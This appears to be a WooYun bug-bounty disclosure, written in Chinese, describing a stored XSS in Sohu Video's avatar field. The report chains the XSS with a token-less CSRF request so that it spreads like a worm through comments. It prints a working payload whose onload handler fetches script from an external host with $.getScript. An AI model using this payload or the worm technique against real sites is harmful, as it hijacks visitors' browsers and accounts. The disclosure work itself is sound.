WooYun.org

0x01
上传头像
0x02
点击保存,抓包如下

0x03
修改一下

0x04
看一下效果

起初以为到这步便是搞定了,未免太简单了 从发现到利用不到3分钟. 事实证明还是
too naive
1x01
其实漏洞确实是已经找出来了. 但要利用还有很长一段路.
首先想到的便是搜狐视频的主要业务 视频. 评论的时每人都有头像如果把这个头像带进去那就是结结实实的一个存储型XSS了.
你也一定以为是这样吧,但是现实就是这么残酷.
实际上评论头像是和用户头像分开的.应该是防止每次都去读取user表浪费资源吧,他的流程是这样的. 每隔一段时间同步一下用户的最新头像. 也就是说你新换头像去评论显示的还是老头像.
起初我等了一上午发现还是不更新便感觉不对了. 又注册了几个号进行测试发现有的号昵称变成了游客.有的号头像变成默认.起初以为是被封了.后来想想应该是同步时构造sql语句 src 中含有引号造成的.
OK 重新构造 xss 语句.
经过测试发现是双引号引起的.多次调试得到如下语句

http://223.img.pp.sohu.com.cn/p223/2014/3/21/4/10/4e4bca29bb884dbo_145b07deb95g201_00018_0.jpg?a=\" onload=$.getScript('//zuosi.me/zuo') a

大家可以注意一下a的位置 最后那个a 被当作属性解析出来把多余的引号带走了 所以不加是不行的.
1x02
来看一下效果,搜狐的小伙伴们表担心 那是张刮刮卡 文字颜色和背景色一样的

http://tv.sohu.com/20131105/n389579692.shtml

2x01
至此火已经放完了.我再来个助燃剂.
用户中心用户有6个历史头像,每个头像下有个按钮点击有会触发一个设置头像请求.非常棒 没有token.

这样我保存一个带有xss的头像方案.然后每个触发xss的用户头像都变为xss头像然后他在去评论.``` 相信我的服务器收件服务器永远起不来了
其实这里的CSRF可以单开一贴说事, 比如会被人利用恶意修改他人头像达到某种目的.不过这两个配合在一起威力才是真大.20 RANK真不高 给我加一起吧.
说着简单弄起来真心不容易,帮你们避免了巨大损失你们不表示表示?
求大礼品,高rank